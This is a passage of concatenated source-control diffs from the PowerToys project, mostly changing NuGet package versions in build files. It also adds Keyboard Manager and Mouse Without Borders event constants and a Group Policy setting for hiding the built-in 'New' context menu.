private static string ColorPercentFormatted(double colorPercentValue, char paramFormat, int defaultDecimalDigits)
{
switch (paramFormat)
{
case 'i':
double roundedColorPercentValue = Math.Round(colorPercentValue);
if (roundedColorPercentValue == 0)
{
// convert -0 to 0
roundedColorPercentValue = 0.0;
}
return roundedColorPercentValue.ToString(CultureInfo.InvariantCulture);
default:
return Math.Round(colorPercentValue, defaultDecimalDigits).ToString(CultureInfo.InvariantCulture);
}
}
public static string GetDefaultFormat(string formatName)
{
switch (formatName)

View File

@@ -55,7 +55,7 @@
<Import Project="$(RepoRoot)deps\spdlog.props" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
</ImportGroup>
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
@@ -63,6 +63,6 @@
</PropertyGroup>
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
</Target>
</Project>

View File

@@ -38,7 +38,7 @@
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
</ImportGroup>
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
@@ -46,6 +46,6 @@
</PropertyGroup>
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
</Target>
</Project>

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.Windows.CppWinRT" version="2.0.250303.1" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.260126.7" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.231216.1" targetFramework="native" />
</packages>

View File

@@ -8,7 +8,7 @@
<Nullable>enable</Nullable>
<PublishAot>true</PublishAot>
<InvariantGlobalization>true</InvariantGlobalization>
<TargetFramework>net10.0-windows10.0.26100.0</TargetFramework>
<TargetFramework>net9.0-windows10.0.26100.0</TargetFramework>
<UseWindowsForms>true</UseWindowsForms>
<PublishTrimmed>false</PublishTrimmed>
</PropertyGroup>
@@ -18,6 +18,7 @@
<!-- Test libraries/utilities should not use the metapackage. -->
<PackageReference Include="MSTest.TestFramework" />
<PackageReference Include="System.IO.Abstractions" />
<PackageReference Include="System.Text.RegularExpressions" />
<PackageReference Include="CoenM.ImageSharp.ImageHash" />
</ItemGroup>

View File

@@ -27,7 +27,7 @@
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup>
<ClCompile>
<AdditionalIncludeDirectories>..\;..\utils;..\Telemetry;..\..\;..\..\..\deps\;..\..\..\deps\spdlog\include;..\..\..\packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\include;$(VCInstallDir)UnitTest\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>..\;..\utils;..\Telemetry;..\..\;..\..\..\deps\;..\..\..\deps\spdlog\include;..\..\..\packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\include;$(VCInstallDir)UnitTest\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<LanguageStandard>stdcpp23</LanguageStandard>
<PreprocessorDefinitions>SPDLOG_WCHAR_TO_UTF8_SUPPORT;SPDLOG_HEADER_ONLY;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>

View File

@@ -287,4 +287,26 @@ namespace winrt::PowerToys::Interop::implementation
{
return CommonSharedConstants::POWER_DISPLAY_TERMINATE_APP_MESSAGE;
}
hstring Constants::MWBToggleEasyMouseEvent()
{
return CommonSharedConstants::MWB_TOGGLE_EASY_MOUSE_EVENT;
}
hstring Constants::MWBReconnectEvent()
{
return CommonSharedConstants::MWB_RECONNECT_EVENT;
}
hstring Constants::OpenNewKeyboardManagerEvent()
{
return CommonSharedConstants::OPEN_NEW_KEYBOARD_MANAGER_EVENT;
}
hstring Constants::ToggleKeyboardManagerActiveEvent()
{
return CommonSharedConstants::TOGGLE_KEYBOARD_MANAGER_ACTIVE_EVENT;
}
hstring Constants::KeyboardManagerEngineInstanceMutex()
{
return CommonSharedConstants::KEYBOARD_MANAGER_ENGINE_INSTANCE_MUTEX;
}
}

View File

@@ -75,6 +75,11 @@ namespace winrt::PowerToys::Interop::implementation
static hstring PowerDisplayToggleMessage();
static hstring PowerDisplayApplyProfileMessage();
static hstring PowerDisplayTerminateAppMessage();
static hstring MWBToggleEasyMouseEvent();
static hstring MWBReconnectEvent();
static hstring OpenNewKeyboardManagerEvent();
static hstring ToggleKeyboardManagerActiveEvent();
static hstring KeyboardManagerEngineInstanceMutex();
};
}
@@ -84,3 +89,4 @@ namespace winrt::PowerToys::Interop::factory_implementation
{
};
}

View File

@@ -72,6 +72,12 @@ namespace PowerToys
static String PowerDisplayToggleMessage();
static String PowerDisplayApplyProfileMessage();
static String PowerDisplayTerminateAppMessage();
static String MWBToggleEasyMouseEvent();
static String MWBReconnectEvent();
static String OpenNewKeyboardManagerEvent();
static String ToggleKeyboardManagerActiveEvent();
static String KeyboardManagerEngineInstanceMutex();
}
}
}

View File

@@ -172,14 +172,14 @@
<ImportGroup Label="ExtensionTargets" />
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" />
</ImportGroup>
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets'))" />
</Target>

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.Windows.CppWinRT" version="2.0.250303.1" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.260126.7" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.231216.1" targetFramework="native" />
</packages>

View File

@@ -170,10 +170,20 @@ namespace CommonSharedConstants
const wchar_t LIGHT_SWITCH_LIGHT_THEME_EVENT[] = L"Local\\PowerToysLightSwitch-LightThemeEvent-50077121-2ffc-4841-9c86-ab1bd3f9baca";
const wchar_t LIGHT_SWITCH_DARK_THEME_EVENT[] = L"Local\\PowerToysLightSwitch-DarkThemeEvent-b3a835c0-eaa2-49b0-b8eb-f793e3df3368";
// Path to events used by Keyboard Manager
const wchar_t OPEN_NEW_KEYBOARD_MANAGER_EVENT[] = L"Local\\PowerToysOpenNewKeyboardManagerEvent-9c1d2e3f-4b5a-6c7d-8e9f-0a1b2c3d4e5f";
const wchar_t TOGGLE_KEYBOARD_MANAGER_ACTIVE_EVENT[] = L"Local\\PowerToysToggleKeyboardManagerActiveEvent-7f3a1d5c-2e94-4ff4-8b6a-90fd2bc4d2a7";
const wchar_t KEYBOARD_MANAGER_ENGINE_INSTANCE_MUTEX[] = L"Local\\PowerToys_KBMEngine_InstanceMutex";
// used from quick access window
const wchar_t CMDPAL_SHOW_EVENT[] = L"Local\\PowerToysCmdPal-ShowEvent-62336fcd-8611-4023-9b30-091a6af4cc5a";
const wchar_t CMDPAL_EXIT_EVENT[] = L"Local\\PowerToysCmdPal-ExitEvent-eb73f6be-3f22-4b36-aee3-62924ba40bfd";
// Path to the events used by MouseWithoutBorders
const wchar_t MWB_TOGGLE_EASY_MOUSE_EVENT[] = L"Local\\PowerToysMWB-ToggleEasyMouseEvent-a9c8d7b6-e5f4-3c2a-1b0d-9e8f7a6b5c4d";
const wchar_t MWB_RECONNECT_EVENT[] = L"Local\\PowerToysMWB-ReconnectEvent-b8d7c6a5-f4e3-2b1c-0a9d-8e7f6a5b4c3d";
// Max DWORD for key code to disable keys.
const DWORD VK_DISABLED = 0x100;
}

View File

@@ -46,7 +46,7 @@
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
</ImportGroup>
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
@@ -54,6 +54,6 @@
</PropertyGroup>
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
</Target>
</Project>

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.Windows.CppWinRT" version="2.0.250303.1" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.260126.7" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.231216.1" targetFramework="native" />
</packages>

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.Windows.CppWinRT" version="2.0.250303.1" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.260126.7" targetFramework="native" />
<package id="Microsoft.Windows.ImplementationLibrary" version="1.0.231216.1" targetFramework="native" />
</packages>

View File

@@ -58,7 +58,7 @@
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="..\..\..\packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets" Condition="Exists('..\..\..\packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" />
<Import Project="..\..\..\packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('..\..\..\packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="..\..\..\packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('..\..\..\packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
</ImportGroup>
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
@@ -66,6 +66,6 @@
</PropertyGroup>
<Error Condition="!Exists('..\..\..\packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props'))" />
<Error Condition="!Exists('..\..\..\packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets'))" />
<Error Condition="!Exists('..\..\..\packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
<Error Condition="!Exists('..\..\..\packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets'))" />
</Target>
</Project>

View File

@@ -103,6 +103,7 @@ namespace powertoys_gpo
const std::wstring POLICY_MWB_POLICY_DEFINED_IP_MAPPING_RULES = L"MwbPolicyDefinedIpMappingRules";
const std::wstring POLICY_NEW_PLUS_HIDE_TEMPLATE_FILENAME_EXTENSION = L"NewPlusHideTemplateFilenameExtension";
const std::wstring POLICY_NEW_PLUS_REPLACE_VARIABLES = L"NewPlusReplaceVariablesInTemplateFilenames";
const std::wstring POLICY_NEW_PLUS_HIDE_BUILT_IN_NEW_CONTEXT_MENU = L"NewPlusHideBuiltInNewContextMenu";
// Methods used for reading the registry
#pragma region ReadRegistryMethods
@@ -700,5 +701,10 @@ namespace powertoys_gpo
return getConfiguredValue(POLICY_NEW_PLUS_REPLACE_VARIABLES);
}
inline gpo_rule_configured_t getConfiguredNewPlusHideBuiltInNewContextMenuValue()
{
return getConfiguredValue(POLICY_NEW_PLUS_HIDE_BUILT_IN_NEW_CONTEXT_MENU);
}
#pragma endregion IndividualModuleSettingPolicies
}

View File

@@ -1,11 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Copyright (c) Microsoft Corporation.
Licensed under the MIT License. -->
<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.19" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">
<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.20" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">
<policyNamespaces>
<target prefix="powertoys" namespace="Microsoft.Policies.PowerToys" />
</policyNamespaces>
<resources minRequiredRevision="1.19"/><!-- Last changed with PowerToys v0.97.0 -->
<resources minRequiredRevision="1.20"/><!-- Last changed with PowerToys v0.98.0 -->
<supportedOn>
<definitions>
<definition name="SUPPORTED_POWERTOYS_0_64_0" displayName="$(string.SUPPORTED_POWERTOYS_0_64_0)"/>
@@ -28,6 +28,7 @@
<definition name="SUPPORTED_POWERTOYS_0_90_0" displayName="$(string.SUPPORTED_POWERTOYS_0_90_0)"/>
<definition name="SUPPORTED_POWERTOYS_0_96_0" displayName="$(string.SUPPORTED_POWERTOYS_0_96_0)"/>
<definition name="SUPPORTED_POWERTOYS_0_97_0" displayName="$(string.SUPPORTED_POWERTOYS_0_97_0)"/>
<definition name="SUPPORTED_POWERTOYS_0_98_0" displayName="$(string.SUPPORTED_POWERTOYS_0_98_0)"/>
<definition name="SUPPORTED_POWERTOYS_0_64_0_TO_0_87_1" displayName="$(string.SUPPORTED_POWERTOYS_0_64_0_TO_0_87_1)"/>
</definitions>
</supportedOn>
@@ -149,6 +150,7 @@
<decimal value="0" />
</disabledValue>
</policy>
<!-- TEMPORARILY_DISABLED: PowerDisplay
<policy name="ConfigureEnabledUtilityPowerDisplay" class="Both" displayName="$(string.ConfigureEnabledUtilityPowerDisplay)" explainText="$(string.ConfigureEnabledUtilityDescription)" key="Software\Policies\PowerToys" valueName="ConfigureEnabledUtilityPowerDisplay">
<parentCategory ref="PowerToys" />
<supportedOn ref="SUPPORTED_POWERTOYS_0_95_0" />
@@ -159,6 +161,7 @@
<decimal value="0" />
</disabledValue>
</policy>
-->
<policy name="ConfigureEnabledUtilityEnvironmentVariables" class="Both" displayName="$(string.ConfigureEnabledUtilityEnvironmentVariables)" explainText="$(string.ConfigureEnabledUtilityDescription)" key="Software\Policies\PowerToys" valueName="ConfigureEnabledUtilityEnvironmentVariables">
<parentCategory ref="PowerToys" />
<supportedOn ref="SUPPORTED_POWERTOYS_0_75_0" />
@@ -824,5 +827,15 @@
<decimal value="0" />
</disabledValue>
</policy>
<policy name="NewPlusHideBuiltInNewContextMenu" class="Both" displayName="$(string.NewPlusHideBuiltInNewContextMenu)" explainText="$(string.NewPlusHideBuiltInNewContextMenuDescription)" key="Software\Policies\PowerToys" valueName="NewPlusHideBuiltInNewContextMenu">
<parentCategory ref="NewPlus" />
<supportedOn ref="SUPPORTED_POWERTOYS_0_98_0" />
<enabledValue>
<decimal value="1" />
</enabledValue>
<disabledValue>
<decimal value="0" />
</disabledValue>
</policy>
</policies>
</policyDefinitions>

View File

@@ -35,6 +35,7 @@
<string id="SUPPORTED_POWERTOYS_0_90_0">PowerToys version 0.90.0 or later</string>
<string id="SUPPORTED_POWERTOYS_0_96_0">PowerToys version 0.96.0 or later</string>
<string id="SUPPORTED_POWERTOYS_0_97_0">PowerToys version 0.97.0 or later</string>
<string id="SUPPORTED_POWERTOYS_0_98_0">PowerToys version 0.98.0 or later</string>
<string id="SUPPORTED_POWERTOYS_0_64_0_TO_0_87_1">From PowerToys version 0.64.0 until PowerToys version 0.87.1</string>
<string id="ConfigureAllUtilityGlobalEnabledStateDescription">This policy configures the enabled state for all PowerToys utilities.
@@ -238,7 +239,7 @@ If you disable this policy, the setting is disabled and variables in filenames w
If you don't configure this policy, the user will be able to control the setting and can enable or disable it.
</string>
<string id="ConfigureAllUtilityGlobalEnabledState">Configure global utility enabled state</string>
<string id="ConfigureEnabledUtilityAdvancedPaste">Advanced Paste: Configure enabled state</string>
<string id="ConfigureEnabledUtilityAlwaysOnTop">Always On Top: Configure enabled state</string>
@@ -248,7 +249,7 @@ If you don't configure this policy, the user will be able to control the setting
<string id="ConfigureEnabledUtilityCmdPal">CmdPal: Configure enabled state</string>
<string id="ConfigureEnabledUtilityCropAndLock">Crop And Lock: Configure enabled state</string>
<string id="ConfigureEnabledUtilityLightSwitch">Light Switch: Configure enabled state</string>
<string id="ConfigureEnabledUtilityPowerDisplay">PowerDisplay: Configure enabled state</string>
<!-- <string id="ConfigureEnabledUtilityPowerDisplay">PowerDisplay: Configure enabled state</string> --><!-- TEMPORARILY_DISABLED: PowerDisplay -->
<string id="ConfigureEnabledUtilityEnvironmentVariables">Environment Variables: Configure enabled state</string>
<string id="ConfigureEnabledUtilityFancyZones">FancyZones: Configure enabled state</string>
<string id="ConfigureEnabledUtilityFileLocksmith">File Locksmith: Configure enabled state</string>
@@ -356,6 +357,15 @@ If you disable this policy, users will not be able to select or use Foundry Loca
<string id="AllowDiagnosticData">Allow sending diagnostic data</string>
<string id="ConfigureRunAtStartup">Configure the run at startup setting</string>
<string id="NewPlusReplaceVariablesInTemplateFilenames">Replace variables in template filenames</string>
<string id="NewPlusHideBuiltInNewContextMenu">Hide the built-in "New" context menu</string>
<string id="NewPlusHideBuiltInNewContextMenuDescription">This policy configures if Windows' built-in New context menu should be hidden on the context menu.
If you enable this policy, then the built-in New context menu will be hidden, and user can only create new files and folders using New+ and the explorer toolbar New button.
If you disable this policy, then the build-in New context menu will be displayed as normal in Windows.
If you don't configure this policy, the user will be able to control the setting and can enable or disable it.
</string>
</stringTable>
<presentationTable>
@@ -369,4 +379,3 @@ If you disable this policy, users will not be able to select or use Foundry Loca
</resources>
</policyDefinitionResources>

View File

@@ -74,6 +74,8 @@
<PackageReference Include="ReverseMarkdown" />
<PackageReference Include="StreamJsonRpc" />
<PackageReference Include="WinUIEx" />
<!-- HACK: To make sure the version pulled in by Microsoft.Extensions.Hosting is current. -->
<PackageReference Include="System.Text.Json" />
<!-- This line forces the WebView2 version used by Windows App SDK to be the one we expect from Directory.Packages.props . -->
<PackageReference Include="Microsoft.Web.WebView2" />
<!-- HACK: CmdPal uses CommunityToolkit.Common directly. Align the version. -->

View File

@@ -20,6 +20,9 @@
<ItemGroup>
<PackageReference Include="Appium.WebDriver" />
<PackageReference Include="MSTest" />
<PackageReference Include="System.Net.Http" />
<PackageReference Include="System.Private.Uri" />
<PackageReference Include="System.Text.RegularExpressions" />
</ItemGroup>
<ItemGroup>

View File

@@ -161,7 +161,7 @@
<ImportGroup Label="ExtensionTargets">
<Import Project="$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.targets')" />
<Import Project="$(RepoRoot)packages\robmikh.common.0.0.23-beta\build\native\robmikh.common.targets" Condition="Exists('$(RepoRoot)packages\robmikh.common.0.0.23-beta\build\native\robmikh.common.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.260126.7\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
<Import Project="$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets" Condition="Exists('$(RepoRoot)packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\build\native\Microsoft.Windows.ImplementationLibrary.targets')" />
</ImportGroup>
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
@@ -170,6 +170,6 @@
<Error Condition="!Exists('$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props')" Text="$([System.String]::Format('$(ErrorText)', '$(RepoRoot)packages\Microsoft.Windows.CppWinRT.2.0.250303.1\build\native\Microsoft.Windows.CppWinRT.props'))" />
